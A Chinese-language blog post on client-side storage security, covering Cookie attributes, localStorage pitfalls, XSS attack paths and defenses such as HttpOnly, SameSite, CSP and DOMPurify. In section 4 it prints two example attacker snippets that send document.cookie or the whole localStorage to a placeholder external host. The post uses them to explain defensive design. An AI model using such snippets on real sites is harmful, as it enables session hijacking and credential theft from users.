Cookie、localStorage与XSS：客户端存储安全选型与防御落地-北京尧图网络

客户端存储这块内容很多人是在项目里被坑过一次才回头补课的。我自己也一样早年做一个后台系统登录态图省事塞进 localStorage后来被安全扫描报了个 XSS 风险才把 Cookie、localStorage 以及它们和 XSS 攻击之间的关系从头捋了一遍。这三个词经常被放在一起讲但它们不是同一层的东西——Cookie 是浏览器和服务器之间的信使localStorage 是纯前端的一个本地抽屉而 XSS 攻击则是那个可能把信使和抽屉一起撬开的手法。搞不清这层关系写出来的代码大概率是能跑但站不住。这篇内容我打算从实际用法、参数取舍、攻击链路到防御落地完整讲一遍适合刚接触前端安全的朋友也适合写过几年业务、想把这块补扎实的同学参考。1. 先把三者的定位关系摆清楚很多人学这块的困惑点在于Cookie 和 localStorage 都能存东西那我到底该用哪个这个问题其实问错了方向。更准确的问法是——这份数据的生命周期归谁管谁需要读它。搞清楚归属选型就是水到渠成的事。1.1 Cookie 的本质是 HTTP 协议的一部分Cookie 不是给 JavaScript 设计的它诞生的时候前端还没有 JS 什么事。它的原始职责非常单一让无状态的 HTTP 协议能记住“你还是你”。服务端在响应头里下发Set-Cookie浏览器把它存下来之后每一次同源请求自动附带在Cookie请求头里带回去。注意“自动”这两个字这是 Cookie 最大的特点也是它最大的性能负担。正因为 Cookie 是协议层机制它的操作接口才会那么原始——前端只能通过document.cookie这个字符串接口去读写读出来是一整串用分号分隔的键值对写的时候还得自己拼字符串而且写一次只能写一个。这种设计在今天看来很别扭但它恰恰限制了脚本对 Cookie 的随意操控算是历史包袱里的一点意外之喜。再往下拆Cookie 有几个属性直接决定了它的安全边界HttpOnly让它对 JS 完全不可见Secure让它只在加密通道上传输SameSite控制跨站请求时带不带它。这三个属性配得好不好几乎决定了一个站点在 XSS 和跨站请求伪造面前是站着还是躺着。1.2 localStorage 是纯粹的浏览器本地仓库localStorage 的定位完全不同。它是 HTML5 时代给的本地存储方案特点可以用四个词概括同源共享、永久有效、同步读写、不随请求走。存进去的东西除非手动removeItem或者用户清缓存否则一直在同一个源下的所有标签页共享同一份数据还能通过storage事件互相通知但它是同步 API读写会阻塞主线程最关键是它完全活在浏览器里服务端一个字都看不到除非你主动用 JS 把内容塞进请求体。这个“服务端看不到”的特性很多人当成优点实际上它是把双刃剑。你省掉了每次请求都携带数据的带宽开销但同时也意味着这份数据没有任何服务端下发时的属性保护——没有HttpOnly没有Secure没有SameSite。只要页面上有一处 XSS 能执行脚本localStorage.getItem()就能把你存的一切原封不动地读出来。1.3 XSS 是撬开这两个仓库的那把工具XSS跨站脚本攻击的核心是让攻击者的 JS 代码在你的页面源下执行。一旦执行成功同源策略就形同虚设——因为在浏览器看来这段代码就是你自己网站的一部分它有权访问这个源下的一切document.cookie除非有 HttpOnly、localStorage、sessionStorage、页面 DOM、用户的表单输入。所以这三者的关系链条是这样的Cookie 和 localStorage 是数据存放点XSS 是攻击入口数据存放点的防护强度决定了攻击者得手后能拿走多少东西。很多人只关注“防住 XSS”却忽略了“即使被突破也要让损失可控”这就是纵深防御的思路。后面几节我会把这条链路上的每一环都拆开讲。2. Cookie 的属性细节与读写实操Cookie 这块真正需要背下来的东西不多但每一个属性背后的取舍逻辑必须清楚。我见过太多项目Set-Cookie一把梭什么都没配上线后各种诡异问题。2.1 七个属性逐项拆解与配置取舍下面这张表是我自己整理的一份速查实际配的时候基本照着对属性作用常见坑Domain指定哪些域名可以接收该 Cookie不写则默认当前域名不含子域写了父域则子域共享容易扩大暴露面Path指定路径前缀匹配写/全站可见误写成具体路径会导致某些页面读不到Expires/Max-Age过期时间两者同时存在时Max-Age优先都不写就是会话 Cookie关浏览器即失效Secure仅在加密通道传输内网 HTTP 环境配了会导致 Cookie 直接不生效HttpOnly禁止 JS 通过document.cookie读取配了之后前端就拿不到凡是需要前端读的场景都要重新设计SameSite控制跨站请求是否携带设为None时必须同时有Secure否则浏览器直接丢弃Partitioned按顶级站点分区存储新特性兼容性要看目标浏览器范围关于SameSite值得多讲两句。它的三个取值Strict、Lax、None直接影响跨站场景。Strict最严任何跨站发起的请求都不带 Cookie用户从外部链接点进来时会是未登录状态体验上比较别扭。Lax是现在主流浏览器的默认值允许顶层导航的 GET 请求携带POST 表单和 iframe、图片这类子资源请求不带。None等于不限制但必须搭配Secure。我的经验是面向普通用户的站点登录态 Cookie 用Lax基本够用兼顾安全和体验涉及资金、权限变更这类高危操作可以考虑关键接口单独用Strict的 Cookie 或者加二次验证。嵌入式场景比如你的页面要被别的站点 iframe 引用才需要None但这种场景本身就要慎重评估。2.2 服务端下发与前端读写的实际写法服务端下发这块不同的运行环境写法不一样但核心都是往响应头里塞Set-Cookie。以一个常见的 Node 服务为例res.setHeader(Set-Cookie, [ session_id${token}; Path/; HttpOnly; Secure; SameSiteLax; Max-Age7200, themedark; Path/; SameSiteLax; Max-Age2592000 ]);注意这里我把两个 Cookie 分开处理session_id是登录态必须HttpOnlytheme是主题偏好前端需要读它来做首屏渲染就不能加HttpOnly。这种按用途分层配置的习惯比一刀切要合理得多。前端读 Cookie 的代码大家都写过但有几个细节容易翻车function getCookie(name) { const prefix encodeURIComponent(name) ; const parts document.cookie.split(; ); for (const item of parts) { if (item.startsWith(prefix)) { return decodeURIComponent(item.slice(prefix.length)); } } return null; }第一个坑是分割符。document.cookie出来的格式是a1; b2分号后面跟一个空格直接split(;)会让每个键名前面多一个空格导致匹配失败。第二个坑是名字包含关系用indexOf(name)去判断会误匹配到username里的name必须带上等号一起匹配。第三个坑是编码值里如果有分号、逗号、空格这类字符不编码会直接把 Cookie 结构搞乱。2.3 体积与数量限制这笔账要提前算规范里建议单个 Cookie 不超过 4KB单个域名下的 Cookie 数量各浏览器实现不同但普遍在几十个到一百多个之间。超限之后浏览器会按策略淘汰通常是优先删最旧或者超出限制的这里的行为各家不一致所以别指望靠超限触发什么确定的逻辑。真正要算的是带宽账。假设一个站点有 20 个 Cookie平均每个 200 字节那就是 4KB。用户在页面上触发 50 个静态资源请求每个请求都带着这 4KB就是 200KB 的额外上行流量。移动网络环境下上行带宽本来就紧张这个开销会实实在在地拖慢首屏。所以我的原则很明确Cookie 只放服务端必须知道的最小信息比如会话标识、语言偏好、灰度标记。用户的操作记录、表单草稿、列表缓存这些一律不进 Cookie。见过有项目把用户权限列表整个序列化塞进 Cookie 的几 KB 下去每个请求都在传还容易被篡改属于典型的用错工具。3. localStorage 的实操与那些绕不开的坑localStorage 的 API 简单到只有五个方法但围绕它的坑一点都不少。这一节我把实际项目里踩过的都摊开讲。3.1 基本 API 与序列化陷阱API 层面没什么好说的setItem、getItem、removeItem、clear、key加上一个length属性。真正的问题在于它只能存字符串。// 存对象必须序列化 localStorage.setItem(user, JSON.stringify({ id: 1, name: A })); // 取的时候必须反序列化并且要防脏数据 function readJSON(key, fallback null) { const raw localStorage.getItem(key); if (raw null) return fallback; try { return JSON.parse(raw); } catch (e) { localStorage.removeItem(key); // 脏数据直接清掉避免反复报错 return fallback; } }这里的坑在于JSON.parse遇到损坏的数据会抛异常。什么时候会损坏用户手动改过、写入过程中页面被关了、多个标签页并发写同一个键、旧版本代码写入了新版本代码读不懂的结构——这些情况在真实环境里都会出现。我现在的习惯是凡是读 localStorage 的地方一律套一层try/catch加兜底值绝不让一个存储读取把整页渲染搞崩。还有一个隐蔽的坑undefined序列化后变成undefined这个字符串NaN变成nullDate对象变成字符串但读回来不会自动还原成Date。存复杂对象之前先想清楚读回来的时候怎么还原别指望它自动帮你保住类型。3.2 同步阻塞、容量与跨标签页通信localStorage 是同步 API读写都在主线程上执行。单个小键值的读写通常在微秒到毫秒级感知不到但如果一次性写入几百 KB 的大 JSON就会出现明显的卡顿。我自己测过一个场景把一个约 2MB 的列表数据序列化后写进 localStorage在中低端手机上主线程阻塞接近 100ms用户能直观感受到掉帧。容量方面主流浏览器普遍给到 5MB 左右部分实现放宽到 10MB但这个额度是按源共享的localStorage 和 sessionStorage 各自计算。超限时setItem会抛出QuotaExceededError注意这是一个需要捕获的异常不是静默失败。function safeSet(key, value) { try { localStorage.setItem(key, value); return true; } catch (e) { if (e.name QuotaExceededError || e.code 22) { // 空间不足按业务策略清理旧的缓存 console.warn(存储空间不足触发清理逻辑); return false; } throw e; } }跨标签页通信靠storage事件这个特性用好了很省事比如用户在 A 标签页退出登录B 标签页能立刻收到通知跳转。window.addEventListener(storage, (e) { if (e.key logout_flag e.newValue) { // 注意这个事件不会在触发写入的那个标签页里触发 location.href /login; } });有个细节必须记住storage事件只在其他同源标签页触发当前写入的页面收不到。所以别写出“我写完了等事件回调”这种逻辑会永远等不到。另外clear()触发事件时key是null判断时要处理。3.3 存储方案选型对照三种常见方案的对比我整理成表实际做技术决策的时候基本看这张维度CookielocalStoragesessionStorage容量约 4KB约 5MB约 5MB生命周期可配置会话级或持久永久除非手动清除标签页关闭即失效随请求发送是同源自动携带否否服务端可读是否否JS 可读取决于 HttpOnly是是跨标签页共享是是否同步阻塞否协议层是是适合场景会话标识、轻量偏好非敏感缓存、草稿、主题单标签页临时状态如果数据量再往上走比如要缓存几万条记录做本地检索那 localStorage 就不合适了得上 IndexedDB。它是异步的容量按磁盘比例给还能建索引代价是 API 复杂、需要处理版本迁移。我一般的判断线是几十 KB 以内且不敏感localStorage超过这个量或者需要查询能力直接 IndexedDB别硬撑。4. XSS 攻击的入口与数据被拿走的完整链路讲防御之前得先把攻击链路走一遍。不知道对手怎么出手配的参数全是纸上谈兵。4.1 三种类型的区别与典型入口XSS 分三类区别在于恶意代码存在哪里、怎么被执行存储型是最危险的。攻击者把恶意脚本提交到服务端服务端存进数据库之后任何用户访问相关页面脚本就从服务端返回并执行。典型入口是评论区、用户昵称、文章内容、订单备注这类会被落库并回显的字段。这类攻击影响面最大一次注入所有访问者中招。反射型是脚本藏在 URL 参数里服务端把它原样拼进 HTML 返回。典型场景是搜索页、错误提示页。攻击者需要诱导用户点击构造好的链接属于一次性攻击。DOM 型比较特殊恶意数据从头到尾没经过服务端完全在前端 JS 里被拼接进 DOM。比如从location.hash取值后直接innerHTML赋值。这类问题服务端的过滤完全管不到只能靠前端自己守。实际排查中我总结了一条经验凡是数据从“不可信来源”流向“可执行上下文”的地方都是风险点。不可信来源包括 URL、用户输入、第三方接口返回、localStorage 里存的内容可执行上下文包括innerHTML、document.write、eval、setTimeout的字符串参数、script标签的src、事件属性、以及hrefjavascript:...。4.2 Cookie 被读走的链路假设页面上有个输出点没转义用户访问后执行了这么一段脚本// 攻击者注入的代码示意 new Image().src https://外部地址/collect?d encodeURIComponent(document.cookie);如果会话 Cookie没有HttpOnly这一行就能把登录凭据完整送到攻击者手上攻击者拿着它直接冒充用户全程不需要密码。而且这种方式很隐蔽用Image发请求不会引起页面跳转用户毫无感知。如果配了HttpOnlydocument.cookie里根本读不到这个 Cookie这一步就断了。但注意攻击者的脚本仍然在你页面里跑着他完全可以换个思路直接调用你页面上的接口用当前会话的凭据去做操作这叫“会话内攻击”。所以HttpOnly是必要不充分的。4.3 localStorage 为什么更“方便”攻击者localStorage 存的东西HttpOnly保护不到因为它压根没有这个属性。这就意味着一旦有 XSS攻击者可以一次性把整个仓库搬空// 攻击者视角把整个 localStorage 序列化带走 const dump JSON.stringify({ ...localStorage }); fetch(https://外部地址/collect, { method: POST, body: dump });比 Cookie 更麻烦的地方在于很多项目会把用户信息、权限标识、甚至一些业务 token 塞进 localStorage因为它容量大、用起来顺手。一旦泄露攻击者拿到的可能不只是登录态还有用户的完整画像和一堆可复用的凭据。我见过最离谱的一个案例细节做了脱敏是把刷新令牌存在 localStorage 里有效期设了 30 天。这意味着一次 XSS攻击者可以维持一个月的访问权限而且用户改密码都不一定踢得掉他——取决于服务端有没有做令牌吊销。所以结论很清楚localStorage 不是保险箱它的定位是“方便但不是安全边界”。凡是泄露后会造成实质损害的数据都不该放进去。5. 防御落地从属性配置到纵深体系防御这块我不想只讲“要转义”这种正确的废话而是给一套可以照着落的配置和代码。5.1 认证信息的存储方案取舍这部分是争议最多的。我先给出我的实践结论再讲为什么。方案抗 XSS抗跨站请求伪造实现复杂度我的评价localStorage 存 token弱天然免疫不自动带低不推荐用于长期凭据Cookie HttpOnly SameSiteLax较强较强中主推Cookie HttpOnly 独立 CSRF 令牌较强强中高高安全场景内存变量短效 token 刷新机制强强高大型系统适用HttpOnly的 Cookie 之所以是主流关键在于它把凭据从 JS 的可达范围内彻底移走了。XSS 依然能执行但拿不到凭据本身攻击的收益大幅下降。SameSiteLax解决了大部分跨站请求伪造的问题因为它拦住了跨站的 POST 请求携带 Cookie。对于少数必须放开跨站的场景再配合独立的 CSRF 令牌做二次校验——令牌放在页面 DOM 里或者自定义请求头里攻击者的跨站表单提交拿不到它。对于安全要求更高的系统我倾向的方案是访问令牌只放内存变量页面刷新就丢攻击窗口极短刷新令牌放 HttpOnly Secure SameSiteStrict 的 Cookie刷新接口限制只能用刷新令牌访问并做设备指纹绑定。这套组合实现起来麻烦但它把 XSS 的收益压到了最低。5.2 输出编码与 DOM 操作的几条红线输出编码是防 XSS 的基础功原则是按上下文编码不是简单地把换成lt;就完事。HTML 文本内容、HTML 属性值、JS 字符串、URL 参数、CSS 值各自有不同的转义规则。实操层面最省事的做法是用框架的默认转义别手动关掉// 危险直接拼 HTML container.innerHTML p userInput /p; // 安全用文本节点 const p document.createElement(p); p.textContent userInput; container.appendChild(p);textContent会把内容当纯文本处理标签不会被解析。凡是只需要展示纯文本的场景一律用它。如果确实需要渲染富文本那必须上白名单过滤库比如 DOMPurify配置好允许的标签和属性const clean DOMPurify.sanitize(dirtyHtml, { ALLOWED_TAGS: [p, br, strong, em, a, ul, li], ALLOWED_ATTR: [href, title] });注意ALLOWED_ATTR里别放on*这类事件属性也别放stylehref还要单独校验是不是javascript:开头。我的三条红线不用eval和new Function处理任何来自用户的内容不用innerHTML拼接不可信数据富文本必须过滤动态生成的a href和iframe src协议白名单只放http、https、相对路径5.3 内容安全策略的落地配置内容安全策略CSP是纵深防御里最有价值的一环它的思路是即使有注入的脚本混进来了浏览器也不执行它。落地方式是服务端加响应头add_header Content-Security-Policy default-src self; script-src self https://可信脚本源; style-src self unsafe-inline; img-src self data: https:; object-src none; base-uri self; frame-ancestors self always;几个关键点值得解释object-src none是必配项能挡住通过插件类内容执行脚本的路径。base-uri self防止攻击者注入base标签篡改所有相对路径的解析基准这个攻击手法挺隐蔽。frame-ancestors self等价于以前的X-Frame-Options防点击劫持。script-src里如果出现unsafe-inline那 inline 脚本和事件属性就能执行CSP 的效果大打折扣。很多老项目因为有大量内联脚本一上来只能开unsafe-inline这时候可以先用仅上报模式跑一段时间Content-Security-Policy-Report-Only: default-src self; report-uri /csp-report收集上报数据看看哪些资源被拦了逐个迁移等报告干净了再切换到强制模式。这个迁移过程我做过一次大概花了两周主要工作量是清理历史遗留的内联事件绑定。还有一个容易忽略的问题CSP 对第三方脚本的约束。如果你引入了外部统计、客服组件它们的域名必须加进白名单否则直接被拦。更要命的是某些第三方脚本自身就有 XSS 风险一旦被攻破你白名单里的域名就成了帮凶。所以第三方脚本能少则少能用带完整性校验的方式就用script srchttps://可信源/lib.js integritysha384-校验值 crossoriginanonymous/script5.4 输入校验与存储数据的最小化原则防御链条上最后一环其实是不该存的东西别存。这条听起来像废话但收益最大。具体做法localStorage 里只放“丢了也无所谓”的数据比如界面偏好、展开收起状态、列表滚动位置。用户敏感信息一律不落本地需要时向服务端要。如果需要做本地缓存以减少请求那缓存数据里不要包含身份证号、手机号全量、地址这类字段只保留展示用的脱敏版本。服务端的输入校验同样不能省。前端的校验只是体验优化绕过成本几乎为零。服务端要做的是字段类型、长度、格式、白名单字符集全部校验一遍任何拼进 SQL、命令、模板、HTML 的输入都走参数化或者转义。这里有个容易被忽略的点校验收紧要防误伤。我见过一个项目把和直接从用户输入里过滤掉结果用户没法写数学表达式客诉一堆。正确做法不是过滤字符而是存原文、按上下文输出时转义。存储层保持数据完整性展示层负责安全这才是分工。6. 常见问题与排查技巧实录实际排查这块最能体现经验差距。下面这些是我和同事在真实项目里遇到的问题整理成速查表遇到类似现象可以直接对照。6.1 问题定位速查表现象可能原因排查动作跨域请求时 Cookie 带不上SameSite限制或前端没开凭据携带检查请求是否设了credentials: include服务端响应头是否回了允许凭据的跨域配置服务端能设 Cookie前端读不到加了HttpOnly属正常行为如确需前端读重新评估用途后另设一个非 HttpOnly 的 Cookie生产环境 Cookie 不生效本地正常Secure属性遇到非加密通道检查访问协议或在开发环境用条件配置关闭SecureSet-Cookie带了SameSiteNone但没生效缺Secure浏览器会直接丢弃该 Cookie两者必须同时存在localStorage 写入偶发报错空间不足或隐私模式限制捕获QuotaExceededError并做降级隐私模式下部分浏览器限制写入刷新后登录态丢失令牌存在内存变量且没做刷新机制补上刷新流程或用短效 Cookie 承载storage事件不触发监听的是写入的那个标签页换一个标签页测试事件只在其他同源标签页触发富文本展示后页面结构乱掉过滤白名单过宽或被绕过收紧标签属性白名单禁用事件属性href做协议校验安全扫描报 XSS 但复现不了扫描器误报或需要特定输入找到具体输入点构造 payload 验证重点关注 URL 参数反射点CSP 上线后页面白屏白名单漏了资源域名先切到仅上报模式收集再逐步放开6.2 几个踩过才知道的坑坑一以为设了 HttpOnly 就安全了。前面提过XSS 依然能执行攻击者可以直接操作页面上的接口。真正的补救措施是缩短会话有效期、关键操作二次验证、加上异常行为监控。HttpOnly只是把最容易被拿走的东西藏起来不代表攻击停止。坑二Cookie 的 Path 配错导致部分接口丢鉴权。这个我印象很深。项目里把会话 Cookie 的 Path 设成了/app结果/api下的接口请求全都不带 Cookie登录态偶尔丢失排查了大半天。Path 是前缀匹配但匹配规则比想象中严格——/app不会匹配/application这两个是完全不同的路径段。不确定的时候直接写/。坑三localStorage 存了大对象拖慢首屏。一个后台系统把菜单树、字典表、用户权限全部序列化存本地加起来接近 3MB。每次页面加载都要JSON.parse低端设备上首屏白屏明显变长。后来改成按需加载加内存缓存只在切换模块时读一次问题解决。教训是localStorage 不是免费的读也是开销。坑四转义做在错误的地方。有同事在数据入库时做了 HTML 转义结果导出的报表里全是amp;lt;这种实体字符用户反馈数据是乱的。正确姿势是入库存原文输出时按上下文转义。存储层一旦做了不可逆的变形后续任何非 HTML 场景都会出问题。坑五CSP 加了之后第三方组件悄悄坏掉。加了 CSP 之后页面表面上正常但某个数据统计组件不工作了因为它的上报接口域名不在connect-src白名单里。这类问题不会报错到控制台显眼位置只能靠上报日志发现。上线 CSP 前务必把connect-src、img-src、font-src这些分类都检查一遍。坑六忽视服务端渲染场景下的存储差异。如果项目用了服务端渲染document和window在服务端是拿不到的直接在模块顶层访问localStorage会报错。必须放到客户端生命周期的钩子里或者先判断typeof window ! undefined。这个坑在引入服务端渲染框架时几乎人人都踩过。6.3 一套可以照着执行的加固清单最后给一份我常用的检查清单新项目启动或者老项目整改都可以对一遍认证 CookieHttpOnlySecureSameSiteLax高危操作单独用StrictPath 写/非敏感偏好 Cookie可以不加HttpOnly但Secure和SameSite照配localStorage只放非敏感缓存所有读取加try/catch和兜底值定期清理过期键富文本白名单过滤禁用事件属性和javascript:协议模板渲染默认转义禁止直接innerHTML拼接不可信内容CSP先仅上报跑两周再切强制必配object-src none和base-uri self依赖定期清理不用的第三方脚本引入的加完整性校验会话访问令牌短有效期刷新令牌独立通道关键操作二次校验这套东西看起来零散但每一条都对应一个真实的攻击路径或者踩过的故障。逐个落实完之后再遇到安全扫描报告或者线上异常脑子里能立刻对上号不用再从零开始查。我个人在实际操作中的体会是客户端存储这块最大的风险不在技术难度而在“图方便”。localStorage.setItem(token, xxx)一行代码就写完了比配 Cookie 属性快得多所以很多项目就这么上线了。等到出问题的时候代价远比当初省下的那点时间高。写代码的时候多问一句“这份数据泄露了会怎样”大部分选型问题自然就有答案了。

Cookie、localStorage与XSS：客户端存储安全选型与防御落地

相关推荐

固定资产管理系统全生命周期管理与智能盘点实践

vivo手机安装失败原因与四套实操解决方案

SQL Server 2022与SSMS安装配置全指南

更多资讯

Keil5编辑器升级不换编译器：ARMCC5.05与新IDE解耦实战

Zoho Projects自定义报表：提升项目管理效率的关键

制造业AI智能体落地的三大核心能力

Google开源ARTEMIS：AI Agent驱动的Android真机UI自动化测试实践

实时数仓架构演进与核心技术解析

Wallpaper Engine mpkg文件解析与MP4导出全指南

今日更新

淘宝商品详情API开发实战与性能优化指南

Unity Package Manager刷新错误排查与解决方案

Java record 规范构造器能否被反序列化或反射绕过

本周精选

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

基于DRV8818与STM32的双极步进电机驱动方案实战解析

DRV8818PWPR+PIC18F45K80双极步进电机控制方案实战

本月热门

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

基于DRV8818与STM32的双极步进电机驱动方案实战解析

DRV8818PWPR+PIC18F45K80双极步进电机控制方案实战

读完文章，想聊聊您的网站？